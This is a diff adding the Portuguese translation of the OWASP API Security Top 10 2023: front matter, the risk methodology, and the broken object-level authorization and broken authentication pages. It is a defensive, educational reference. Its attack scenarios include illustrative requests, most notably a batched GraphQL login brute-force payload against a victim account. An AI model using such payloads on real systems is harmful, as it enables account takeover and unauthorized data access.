Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [O Que Se Segue Para Programadores](0xb0-next-devs.md) +* [O que Se Segue Para DevSecOps](0xb1-next-devsecops.md) +* [Metodologia e Dados](0xd0-about-data.md) +* [Agradecimentos](0xd1-acknowledgments.md) diff --git a/editions/2023/pt-pt/0x01-about-owasp.md b/editions/2023/pt-pt/0x01-about-owasp.md new file mode 100644 index 000000000..a9b862987 --- /dev/null +++ b/editions/2023/pt-pt/0x01-about-owasp.md @@ -0,0 +1,62 @@ +# Sobre a OWASP + +Open Worldwide Application Security Project (OWASP) é uma comunidade aberta que +se dedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e +APIs confiáveis. + +A OWASP disponibiliza de forma livre e aberta: + +* Ferramentas e normas de segurança aplicacional. +* Livros completos sobre testes de segurança aplicacional, desenvolvimento + de código seguro e revisão de código focada em segurança. +* Apresentações e [vídeos][1]. +* [_Cheat Sheets_][2] sobre assuntos diversos. +* Controlos e bibliotecas de segurança _standard_. +* [Comunidades locais espalhadas por todo o mundo][3]. +* Investigação de ponta. +* Múltiplas [conferências em todo o mundo][4]. +* [Listas de discussão][5] ([arquivo][6]). + +Mais informação em: [https://www.owasp.org][7]. + +Todas as ferramentas, documentos, vídeos, apresentações e comunidades locais da +OWASP são livres e abertos a todos os interessados em melhorar a segurança +aplicacional. + +Aconselhamos uma abordagem à segurança aplicacional como sendo um problema de +pessoas, processos e tecnologia, porque as abordagens mais eficazes à segurança +aplicacional necessitam de melhorias em todas estas áreas. + +A OWASP é um novo tipo de organização. A nossa independência em relação a +pressões comerciais permite-nos fornecer informação imparcial, prática e +economicamente adequada sobre a segurança aplicacional. + +A OWASP não está afiliada com nenhuma empresa tecnológica, embora suportemos o +uso informado de tecnologias de segurança comerciais. A OWASP produz muitos +tipos de materiais de uma forma colaborativa, transparente e aberta. + +A fundação OWASP é uma entidade sem fins lucrativos o que assegura o sucesso a +longo prazo do projeto. Quase todas as pessoas associadas à OWASP são +voluntárias, incluindo a direção da OWASP, os líderes das comunidades locais, os +líderes dos projetos e os seus membros. Suportamos investigação inovadora em +segurança através de bolsas e infraestrutura. + +Junte-se a nós! + +## Direitos de Autor e Licença + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. Este documento é distribuído de +acordo com a licença [Creative Commons Attribution Share-Alike 4.0 license][8]. +Para qualquer tipo de reutilização ou distribuição, deve deixar claro para +terceiros os termos da licença deste trabalho. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/pt-pt/0x02-foreword.md b/editions/2023/pt-pt/0x02-foreword.md new file mode 100644 index 000000000..500ff338f --- /dev/null +++ b/editions/2023/pt-pt/0x02-foreword.md @@ -0,0 +1,47 @@ +# Prefácio + +As APIs - _Application Programming Interface_ têm um papel fundamental na +inovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca, +retalho e transportes à Internet das Coisas (IoT), veículos autónomos e _Smart +Cities_, as APIs são hoje um elemento crítico nas aplicações móveis, _Software +as a Service_ (SaaS) e aplicações web, sejam elas destinadas ao público em +geral, parceiros de negócio ou para uso interno das organizações. + +Por definição as APIs expõem lógica aplicacional e dados sensíveis tais como +informação pessoal (PII - _Personally Identifiable Information_), motivo pelo +qual se têm vindo a tornar um alvo para os atacantes. Se não conseguirmos +garantir a segurança das APIs será impossível continuar a inovar a um ritmo +acelerado. + +Apesar de continuar a fazer sentindo manter uma lista dos 10 principais +problemas de segurança em aplicações web, devido à natureza particular das APIs, +é importante haver também uma tal lista específica para APIs. +A segurança das APIs foca-se nas estratégias e soluções para compreender e +mitigar as vulnerabilidades e risco de segurança associado às APIs. + +Se estiver familiarizado com o projeto [OWASP Top 10][1] com certeza notará as +semelhanças entre os documentos: elas são propositadas para facilitar a leitura +e adoção deste. Se por outro lado for a primeira vez que tem contacto com um +documento da série OWASP Top 10, sugerimos que comece por ler as secções [Riscos +de Segurança em APIs][2] e [Metodologia e Dados][3] antes de aprofundar a lista +dos dez problemas de segurança mais críticos em APIs. + +Pode contribuir para o OWASP API Security Top 10 com perguntas, comentários e +ideias no repositório do projeto no GitHub: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Pode ainda encontrar o OWASP API Security Top 10 em: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Gostaríamos de agradecer a todos os que participaram neste projeto, tornando-o +possível com o seu empenho e contribuições. A lista de contribuidores +encontra-se na secção [Agradecimentos][4]. Obrigado! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x03-introduction.md b/editions/2023/pt-pt/0x03-introduction.md new file mode 100644 index 000000000..1e2a15929 --- /dev/null +++ b/editions/2023/pt-pt/0x03-introduction.md @@ -0,0 +1,60 @@ +# Introdução + +## Bem-vindo ao OWASP API Security Top 10 - 2023! + +Bem-vindo à segunda edição do OWASP API Security Top 10! + +Este documento de consciencialização foi publicado pela primeira vez em 2019. +Desde então, a indústria de segurança das APIs cresceu e ganhou maturidade. Nós +acreditamos fortemente que este trabalho contribuiu positivamente para tal, +devido a ter sido adotado rapidamente como referência na indústria. + +As APIs desempenham um papel muito importante na arquitetura das aplicações +modernas. Devido à inovação ter um ritmo diferente do que a sensibilização +para a segurança, nós acreditamos que é importante concentrarmo-nos nas +falhas de segurança mais comuns das APIs. + +O objetivo principal do OWASP API Security Top 10 é educar todos aqueles +envolvidos no desenvolvimento e manutenção de APIs, como por exemplo, +programadores, _designers_, arquitetos, gestores ou organizações. Pode saber +mais sobre o projeto API Security visitando a [página do projeto][1]. + +Se não estiver familiarizado com a série OWASP Top 10, nós recomendamos que veja +pelo menos os seguintes projetos Top 10: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Nenhum destes projetos substitui qualquer outro: se está a trabalhar numa +aplicação móvel alimentada por uma API, então é melhor ler os dois documentos +Top 10 correspondentes. O mesmo é válido se estiver a trabalhar num website ou +numa aplicação desktop alimentados por APIs. + +Na secção [Metodologia e Dados][13] pode ler mais sobre como esta edição foi +criada. Por agora encorajamos todos a contribuírem com perguntas, comentários e +ideias no nosso [repositório no GitHub][14] ou através da [_Mailing list_][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/pt-pt/0x04-release-notes.md b/editions/2023/pt-pt/0x04-release-notes.md new file mode 100644 index 000000000..3f3f32672 --- /dev/null +++ b/editions/2023/pt-pt/0x04-release-notes.md @@ -0,0 +1,49 @@ +# Notas da Versão + +Esta é a segunda edição do OWASP API Security Top 10, exatamente quatro anos +após a primeira versão. Muito mudou no panorama das API (a nível de +segurança). O tráfego das API aumentou a um ritmo acelerado, alguns protocolos +de API ganharam muito mais popularidade, surgiram muitos novos vendedores/ +soluções de segurança para API e, claro, os atacantes desenvolveram novas +capacidades e técnicas para comprometer APIs. Já era hora de atualizar a lista +dos dez riscos de segurança de API mais críticos. + +Com uma indústria de segurança de API mais madura, pela primeira vez, houve [um +apelo público para dados][1]. Infelizmente, não foram fornecidos dados, mas +com base na experiência da equipa do projeto, numa análise cuidadosa por +especialistas em segurança de API e no feedback da comunidade sobre a versão +preliminar, construímos esta nova lista. Na [secção Metodologia e Dados][2], +encontrará mais detalhes sobre como esta versão foi elaborada. Para mais +detalhes sobre os riscos de segurança, consulte a [secção Riscos de Segurança +em APIs][3]. + +O OWASP API Security Top 10 2023 é um documento de sensibilização prospetivo +para uma indústria de ritmo acelerado. Não substitui outros TOP 10. Nesta +edição: + +* Combinámos *Excessive Data Exposure* e *Mass Assignment*, focando na causa + comum: falhas na validação de autorização ao nível das propriedades do objeto. +* Damos mais ênfase ao consumo de recursos, em vez de nos concentrarmos na + rapidez com que são esgotados. +* Criámos uma nova categoria "*Unrestricted Access to Sensitive Business Flows*" + para abordar novas ameaças, incluindo a maioria daquelas que podem ser + mitigadas através de *rate limiting*. +* Adicionámos "*Unsafe Consumption of APIs*" para abordar algo que começámos a + observar: os atacantes começaram a procurar serviços integrados de um alvo + para os comprometer, em vez de atingirem diretamente as APIs do seu alvo. Este + é o momento certo para começar a sensibilizar sobre este risco crescente. + +As APIs desempenham um papel cada vez mais importante na arquitetura moderna de +microsserviços, *Single Page Applications* (SPAs), aplicações móveis, Internet +das Coisas (IoT), etc. O OWASP API Security Top 10 é um esforço necessário para +criar sensibilização sobre os problemas de segurança modernos das APIs. + +Esta atualização só foi possível devido ao grande esforço de vários voluntários, +listados na secção de [Agradecimentos][4]. + +Obrigado! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x10-api-security-risks.md b/editions/2023/pt-pt/0x10-api-security-risks.md new file mode 100644 index 000000000..41ab360a5 --- /dev/null +++ b/editions/2023/pt-pt/0x10-api-security-risks.md @@ -0,0 +1,49 @@ +# Riscos de Segurança em APIs + +Para a análise de risco usámos a [metodologia de avaliação de risco da +OWASP][1]. + +A tabela seguinte resume a terminologia associada à pontuação correspondente ao +nível de risco. + +| Agentes Ameaça | Abuso | Prevalência | Deteção | Impacto Técnico | Impacto Negócio | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Específico da API | Fácil **3** | Predominante **3** | Fácil **3** | Grave **3** | Específico do Negócio | +| Específico da API | Moderado **2** | Comum **2** | Moderado **2** | Moderado **2** | Específico do Negócio | +| Específico da API | Difícil **1** | Incomum **1** | Difícil **1** | Reduzido **1** | Específico do Negócio | + +**Nota**: Esta abordagem não toma em consideração a probabilidade do Agente de +Ameaça. Também não toma em consideração nenhum detalhe técnico associado à sua +API. Qualquer um destes fatores podem ter impacto significativo na probabilidade +de um atacante encontrar e abusar duma falha de segurança particular. Estes +indicadores não tomam em consideração o impacto atual no seu negócio. Terá de +ser a sua organização a decidir qual o nível de risco para a segurança das suas +aplicações e APIs que está disposta a aceitar, baseado na cultura, indústria e +regulação a que está sujeita. O propósito do OWASP API Security Top 10 não é +fazer essa análise por si. Uma vez que esta edição não é baseada em dados, a +prevalência resulta de um consenso entre os membros da equipa. + +## Referências + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externas + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/pt-pt/0x11-t10.md b/editions/2023/pt-pt/0x11-t10.md new file mode 100644 index 000000000..84612e31b --- /dev/null +++ b/editions/2023/pt-pt/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risk | Description | +| ---- | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | As APIs tendem a expor mais _endpoints_ que manipulam identificadores de objetos, tornando as falhas no controlo de acessos mais suscetíveis a ataques. A verificação da autorização para acesso aos objetos deve ser tida em consideração em todas as funções que acedem a dados com base em informação fornecida pelo utilizador.| +| [API2:2023 - Broken Authentication][api2] | Com frequência os mecanismos de autenticação são implementados de forma incorreta, permitindo aos atacantes comprometer os _tokens_ de autenticação ou abusar das falhas na implementação por forma a assumir a identidade de outros utilizadores de forma temporária ou permanente. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Esta categoria combina [API3:2019 - Excessive Data Exposure][1] e [API6:2019 - Mass Assignment][2], focando na causa principal: a falta de validação de autorização adequada ao nível das propriedades do objeto. Isso leva à exposição ou manipulação de informações por partes não autorizadas. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfazer pedidos de API requer recursos como largura de banda de rede, CPU, memória e armazenamento. Outros recursos como emails/SMS/chamadas telefónicas ou validação biométrica são disponibilizados por fornecedores de serviços através de integrações de API, sendo pagos por pedido. Ataques bem-sucedidos podem levar a uma negação do serviço (DoS) ou a um aumento dos custos operacionais. | +| [API5:2023 - Broken Function Level Authorization][api5] | Políticas de controlo de acesso complexas com diferentes níveis hierárquicos, grupos e perfis e uma não tão clara separação entre o que são ou não funcionalidades administrativas tendem a conduzir a falhas de autorização. Abusando destas falhas os atacantes podem ganhar acesso a recursos de outros utilizadores e/ou a funcionalidades administrativas. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | As APIs vulneráveis a este risco expõem um fluxo de negócio - como comprar um bilhete ou publicar um comentário - sem compensar por como a funcionalidade poderia prejudicar o negócio se fosse usada de forma excessiva e automatizada. Isto não resulta necessariamente de falhas de implementação. | +| [API7:2023 - Server Side Request Forgery][api7] | As falhas de Server-Side Request Forgery (SSRF) podem ocorrer quando uma API está a obter um recurso remoto sem validar o URI fornecido pelo utilizador. Isto permite que um atacante force a aplicação a enviar um pedido manipulado para um destino inesperado, mesmo quando protegido por um firewall ou uma VPN. | +| [API8:2023 - Security Misconfiguration][api8] | As APIs e os sistemas que as suportam normalmente contêm configurações complexas, destinadas a tornar as APIs mais personalizáveis. Os engenheiros de software e de DevOps podem ignorar essas configurações ou não seguir as melhores práticas de segurança quando se trata de configuração, abrindo a porta para diferentes tipos de ataques. | +| [API9:2023 - Improper Inventory Management][api9] | As APIs tendem a expor mais _endpoints_ do que as aplicações web tradicionais, fazendo com que a documentação se torne ainda mais importante. Um inventário dos _hosts_ e APIs em execução também têm um papel importante na mitigação de falhas tais como versões de APIs descontinuadas e exposição de _endpoints_ para análise de problemas. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Os programadores tendem a confiar mais nos dados recebidos de APIs de terceiros do que os fornecidos pelo utilizador, e por isso tendem a adotar padrões de segurança mais fracos. Para comprometer APIs, os atacantes visam os serviços de terceiros integrados em vez de tentarem comprometer a API alvo diretamente. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..2d12ea930 --- /dev/null +++ b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md @@ -0,0 +1,114 @@ +# API1:2023 Broken Object Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Moderado** : Específico do Negócio | +| Os atacantes podem explorar *endpoints* de API vulneráveis a *broken object-level authorization* ao manipular o ID de um objeto enviado no pedido. Os IDs de objetos podem ser números inteiros sequenciais, UUIDs ou *strings* genéricas. Independentemente do tipo de dado, são fáceis de identificar no alvo do pedido (parâmetros do caminho ou da *string* de consulta), cabeçalhos do pedido ou até mesmo como parte do conteúdo do pedido. | Este problema é extremamente comum em aplicações baseadas em API porque o componente do servidor geralmente não acompanha completamente o estado do cliente e, em vez disso, confia mais em parâmetros como IDs de objetos, que são enviados pelo cliente para decidir a quais objetos aceder. A resposta do servidor geralmente é suficiente para entender se o pedido foi bem sucedido. | O acesso não autorizado a objetos de outros utilizadores pode resultar na divulgação de dados a partes não autorizadas, perda de dados ou manipulação de dados. Em certas circunstâncias, o acesso não autorizado a objetos também pode resultar na apropriação completa da conta. | + +## A API é vulnerável? + +A autorização de acesso ao nível do objeto é um mecanismo de controlo que +geralmente é implementado ao nível do código para validar que um utilizador só +pode aceder aos objetos aos quais deveria ter permissão para aceder. + +Cada *endpoint* de API que recebe um ID de um objeto e realiza alguma ação sobre +o objeto deve implementar verificações de autorização ao nível do objeto. As +verificações devem validar que o utilizador autenticado tem permissões para +realizar a ação solicitada sobre o objeto alvo. + +As falhas neste mecanismo geralmente conduzem à divulgação não autorizada de +informações, modificação ou destruição de todos os dados. + +Comparar o ID do utilizador da sessão atual (e.g. ao extraí-lo do token JWT) com +o parâmetro de ID vulnerável não é uma solução suficiente para resolver a falha +de Broken Object Level Authorization (BOLA). Esta abordagem pode endereçar +apenas um pequeno subconjunto de casos. + +No caso de BOLA, é por design que o utilizador tem acesso ao *endpoint*/função +da API vulnerável. A violação ocorre ao nível do objeto, através da manipulação +do ID. Se um atacante conseguir aceder a um *endpoint*/função da API ao qual não +deveria ter acesso - este é um caso de [Broken Function Level Authorization][5] +(BFLA) em vez de BOLA. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma plataforma de comércio eletrónico para criar lojas online oferece uma página +de listagem com gráficos relativos à receita das lojas. Inspecionando os pedidos +realizados pelo navegador um atacante identifica os _endpoints_ da API usados +para obter os dados a partir dos quais são gerados os gráficos bem como o seu +padrão `/shops/{shopName}/revenue_data.json`. Utilizado outro _endpoint_ da API +o atacante obtém a lista com o nome de todas as lojas. Com recurso a um _script_ +simples para substituir `{shopName}` no URL pelos nomes que constam da lista, o +atacante consegue acesso aos dados relativos às vendas de milhares de lojas +online. + +### Cenário #2 + +Um fabricante de automóveis habilitou o controlo remoto dos seus veículos +através de uma API para comunicação com o telemóvel do condutor. A API permite +ao condutor iniciar e parar o motor e trancar e destrancar as portas +remotamente. Como parte deste processo, o utilizador envia o Número de +Identificação do Veículo (VIN) para a API. No entanto, a API não valida se o VIN +representa um veículo que pertence ao utilizador autenticado, o que resulta numa +vulnerabilidade de BOLA. Um atacante pode aceder a veículos que não lhe +pertencem. + +### Cenário #3 + +Um serviço de armazenamento de documentos online permite aos utilizadores +visualizar, editar, armazenar e eliminar os seus documentos. Quando um documento +de um utilizador é eliminado, é enviada uma mutação GraphQL com o ID do +documento para a API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Uma vez que o documento com o ID fornecido é eliminado sem quaisquer +verificações adicionais de permissão, um utilizador pode conseguir eliminar o +documento de outro utilizador. + +## Como Prevenir + +* Implementar um mecanismo de autorização baseado nas políticas de utilizador e + hierarquia. +* Utilizar um mecanismo de autorização para verificar se o utilizador com sessão + ativa tem permissão para realizar a ação pretendida sobre o registo. Esta + verificação deve ser feita por todas as funções que utilizem informação + fornecida pelo cliente para aceder a um registo na base de dados. +* Utilizar preferencialmente valores aleatórios e não previsíveis (e.g., GUID) + como identificador para os registos. +* Escrever testes para avaliar o correto funcionamento do mecanismo de + autorização. Não colocar em produção alterações vulneráveis que não passem nos + testes. + +## Referências + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externas + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/pt-pt/0xa2-broken-authentication.md b/editions/2023/pt-pt/0xa2-broken-authentication.md new file mode 100644 index 000000000..3c57c44f8 --- /dev/null +++ b/editions/2023/pt-pt/0xa2-broken-authentication.md @@ -0,0 +1,140 @@ +# API2:2023 Broken Authentication + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| O mecanismo de autenticação é um alvo fácil para os atacantes, uma vez que está exposto a todos. Embora possam ser necessárias competências técnicas mais avançadas para explorar alguns problemas de autenticação, geralmente existem ferramentas de exploração disponíveis. | As conceções erradas dos engenheiros de software e de segurança sobre os limites da autenticação e a complexidade inerente da implementação tornam os problemas de autenticação prevalentes. Metodologias para detetar *broken authentication* estão disponíveis e são fáceis de criar. | Os atacantes podem obter controlo total das contas de outros utilizadores no sistema, ler os seus dados pessoais e realizar ações sensíveis em seu nome. Os sistemas têm pouca probabilidade de conseguir distinguir as ações dos atacantes das ações legítimas dos utilizadores. | + +## A API é vulnerável? + +Os _endpoints_ e fluxos de autenticação são ativos que carecem de proteção. Além +disso, mecanismos de recuperação de _password_ devem ser tratados da mesma forma +que os mecanismos de autenticação. + +Uma API é vulnerável se: + +* Permite ataques de _credential stuffing_, onde o atacante utiliza força bruta + com uma lista de nomes de utilizador e palavras-passe válidos. +* Permite ataques de força bruta a uma conta de utilizador específica, não + implementando mecanismos de mitigação como _captcha_ ou bloqueio da conta por + excesso de tentativas de autenticação falhadas. +* Permite a utilização de _passwords_ fracas. +* Envia informação de autenticação, tal como _tokens_ e _passwords_, no URL. +* Permite que os utilizadores alterem o seu endereço de email, _password_ atual + ou realizem outras operações sensíveis sem pedir a confirmação da _password_. +* Não valida a autenticidade dos _tokens_ de autenticação. +* Aceita _tokens_ JWT sem que estes sejam assinados/usando algoritmos fracos + `("alg":"none")` +* Não valida a data de expiração dos _tokens_ JWT. +* Utiliza _passwords_ em texto, não encriptadas, ou resumos fracos. +* Utiliza chaves de encriptação fracas. + +Além disso, um microsserviço é vulnerável se: + +* Outros microsserviços podem aceder a ele sem autenticação +* Utiliza tokens fracos ou previsíveis para impor autenticação + +## Exemplos de Cenários de Ataque + +## Cenário #1 + +Para realizar a autenticação do utilizador, o cliente tem de enviar um pedido de +API como o exemplo abaixo, com as credenciais do utilizador: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Se as credenciais forem válidas, é devolvido um token de autenticação que deve +ser fornecido em pedidos subsequentes para identificar o utilizador. A +quantidade de tentativas de login está sujeita a uma limitação temporal +restritiva: apenas três pedidos são permitidos por minuto. + +Para efetuar login por força bruta com a conta de uma vítima, os atores +maliciosos aproveitam o agrupamento de consultas GraphQL para contornar a +limitação temporal restritiva de pedidos, acelerando o ataque: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Cenário #2 + +Para atualizar o endereço de email associado à conta de um utilizador, os +clientes devem enviar um pedido API como o exemplo abaixo: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Devido à API não exigir que os utilizadores confirmem a sua identidade +fornecendo a sua _password_ atual, atores maliciosos que consigam colocar-se +numa posição de roubar o token de autenticação podem conseguir assumir a conta +da vítima ao iniciar o processo de redefinição de senha após atualizar o +endereço de email da conta da vítima. + +## Como Prevenir + +* Certifique-se de que conhece todos os fluxos de autenticação possíveis (e.g. + móvel/web/_deeplinks_/etc.). Pergunte aos engenheiros responsáveis quais os + fluxos em falta/não identificados. +* Leia sobre os mecanismos de autenticação em uso. Certifique-se que compreende + quais e como são usados. OAuth não é um mecanismo de autenticação, assim como + também não o são as API _keys_. +* Não reinvente a roda em termos de autenticação, geração de _tokens_, + armazenamento de _passwords_. Opte pela utilização de standards. +* _Endpoints_ para recuperação de _password_ devem ser tratados como os + _endpoints_ de _login_ no que diz respeito à proteção contra ataques de força + bruta, limitação do número de pedidos e bloqueio de conta. +* Exija nova autenticação para operações sensíveis (e.g. alterar o + endereço de email do proprietário da conta/número de telefone para + autenticação de dois fatores). +* Utilize a [OWASP Authentication Cheatsheet][1]. +* Sempre que possível implemente autenticação de múltiplos fatores. +* Implemente mecanismos anti-força bruta para mitigar ataques do tipo + _credential stuffing_, dicionário e força bruta nos _endpoints_ de + autenticação. Este mecanismo deve ter configurações mais restritivas do que + para os demais _endpoints_ da API. +* Implemente [mecanismos de bloqueio de conta][2] / _captcha_ para prevenir + ataques de força bruta contra utilizadores específicos. Implemente verificação + da qualidade/força das _passwords_. +* As API _keys_ não devem ser usadas para autenticação dos utilizadores. Apenas + devem ser usadas para autenticação dos [clientes da API][3]. + +## Referências + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externas + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..e6573388a --- /dev/null +++ b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,152 @@ +# API3:2023 Broken Object Property Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Moderado** : Específico Negócio | +| As APIs tendem a expor _endpoints_ que devolvem todas as propriedades do objeto. Isto é especialmente válido para APIs REST. Para outros protocolos como o GraphQL, pode ser necessário enviar pedidos elaborados para especificar que propriedades devem ser devolvidas. Identificar estas propriedades adicionais que podem ser manipuladas requer mais esforço, mas existem algumas ferramentas automatizadas disponíveis para ajudar nesta tarefa. | Inspecionar as respostas da API é suficiente para identificar informações sensíveis nas representações dos objetos devolvidos. _Fuzzing_ é geralmente usado para identificar propriedades adicionais (ocultas). Determinar se podem ser alteradas depende da elaboração de um pedido à API e da análise da resposta. Pode ser necessária uma análise de efeitos secundários se a propriedade alvo não for devolvida na resposta da API. | O acesso não autorizado a propriedades privadas/sensíveis de objetos pode resultar na divulgação de dados, perda de dados ou corrupção de dados. Em certas circunstâncias, o acesso não autorizado a propriedades de objetos pode levar a elevação de privilégios ou a apropriação parcial/completa de conta. | + +## A API é vulnerável? + +Ao permitir que um utilizador aceda a um objeto através de um _endpoint_ da API, +é importante validar que o utilizador tem acesso às propriedades específicas do +objeto que está a tentar aceder. + +Um 